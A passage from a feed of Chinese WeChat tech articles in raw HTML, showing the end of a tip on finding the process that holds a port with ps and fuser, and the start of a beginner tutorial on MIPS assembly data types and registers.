255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">如上图所示24254即为PID</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">接下来通过ps命令查找进程的详细信息</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">ps</span> -p <span class="code-snippet__number">24254</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">或者也可以直接使用fuser中的-v参数：</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> fuser -v <span class="code-snippet__number">8000</span>/tcp</span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">如果师傅们还有其他更好的查找方法，欢迎留言给我们哇～</span></p><section data-role="outer" label="Powered by 135editor.com" style="max-width: 100%;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section data-tools="135编辑器" data-id="94250" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section data-tools="135编辑器" data-id="91842" style="max-width: 100%;box-sizing: border-box;border-width: 0px;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: right;width: auto;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section style="max-width: 100%;display: inline-block;clear: both;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section data-brushtype="text" style="padding: 18px 15px 20px 10px;max-width: 100%;box-sizing: border-box;color: rgb(86, 146, 214);background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/djiam4RadAPZb4BDwswTC91BFdg8S5Rl4ibsYD5tz5GDC4PTDC8FB9VTDzhbiahUrQ1PA32iapPE3oQon0NVBejMKg/640?wx_fmt=png&#34;);background-repeat: no-repeat;text-align: center;background-size: 100% 100%;font-size: 16px;letter-spacing: 1.5px;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: flex;justify-content: center;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section style="margin-left: 2px;max-width: 100%;width: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><img data-ratio="0.8936170212765957" style="margin-bottom: -6px;width: 20px;overflow-wrap: break-word !important;" data-type="png" data-w="47" src="https://wechat2rss.xlab.app/img-proxy/?k=f30264a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZb4BDwswTC91BFdg8S5Rl4icfzMPTQy4Gjue98ESEhKgSbwNG55e93TI9zqfpSzbJdEP2AGib60pGQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="max-width: 100%;font-size: 14px;color: rgb(51, 51, 51);overflow-wrap: break-word !important;box-sizing: border-box !important;">你点的每个赞，我都认真当成了喜欢</section></section></section></section></section></section></section></section>



<p><a href="2247487963">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3db19fec&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247487963%26idx%3D1%26sn%3D4d8b0084cbb1e0742eb7f619f85659d5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 18 Jan 2021 17:53:00 +0800</pubDate>
    </item>
    <item>
      <title>十分钟教会你MIPS编程入门</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247487952&amp;idx=1&amp;sn=e9baae9620ab421c7bfcc5c5552d40d7</link>
      <description>十分钟教会你入门MIPS汇编</description>
      <content:encoded><![CDATA[<p>
<span>thoupin</span> <span>2021-01-15 20:00</span> <span style="display: inline-block;"></span>
</p>

<p>十分钟教会你入门MIPS汇编</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=328947bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZqYID3rs2me40MKrFUb7pFNSIsUKAjDMia8TIe9Ur5MGXekER5rq2SuSNPicnjCfS6lpIPrib3fD9fQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-ratio="0.4567901234567901" data-s="300,640" style="" data-type="png" data-w="1458" src="https://wechat2rss.xlab.app/img-proxy/?k=d9dd3c11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZqYID3rs2me40MKrFUb7pF1hvkBTcWBDDzOc4QEDfgeFpq1C9A7EynHEYEZSpE8H5xIoQHjoVsgA%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">本文从四个方面来介绍MIPS架构及其汇编：</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 寄存器种类<strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"></strong></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 算术及寻址指令</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">3. 程序结构</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">4. 系统调用</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">需要使用的工具是：Mars4.4</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">下载地址：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">http:<span class="code-snippet__comment">//courses.missouristate.edu/KenVollmar/mars/download.htm</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;">1 数据类型</span></span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. 所有MIPS指令都是32位长</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 1字节 = 8位，半字长 = 2个字节，1字长 = 4个字节</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">3. 一个字符空间 = 1个字节</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">4. 一个整型 = 一个字长 = 4个字节</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">5. 单个字符用单引号，例如：&#39;b&#39;</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">6. 字符串用双引号，例如：&#34;A string&#34;</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2 寄存器</span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">1. MIPS下一共有32个通用寄存器</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">2. 在汇编中，寄存器标志由$符开头</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">3. 寄存器表示可以有两种方式</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">    直接使用该寄存器对应的编号，例如：从$0到$31</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">    使用对应的寄存器名称，例如：$t1,$sp(详细名称见下表)</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">4. Lo和Hi寄存器专门用来存储乘法和除法的结果</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">    对于以上两者，不存在直接寻址；必须要通过特殊指令mfhi (&#34;move from Hi&#34;) 和 mflo (&#34;move from Lo&#34;)来访问内容</span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">5. 栈的走向是高地址到低地址</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5189620758483033" data-s="300,640" style="" data-type="png" data-w="2004" src="https://wechat2rss.xlab.app/img-proxy/?k=f0ffe67e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZqYID3rs2me40MKrFUb7pFVVibdXx9XNfx5rTZUNwYPZ0uNlaGF092KQfPCHQjnm6RjQaUvJxSstg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;text-align: center;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3</span><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"> 程序结构</span></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, 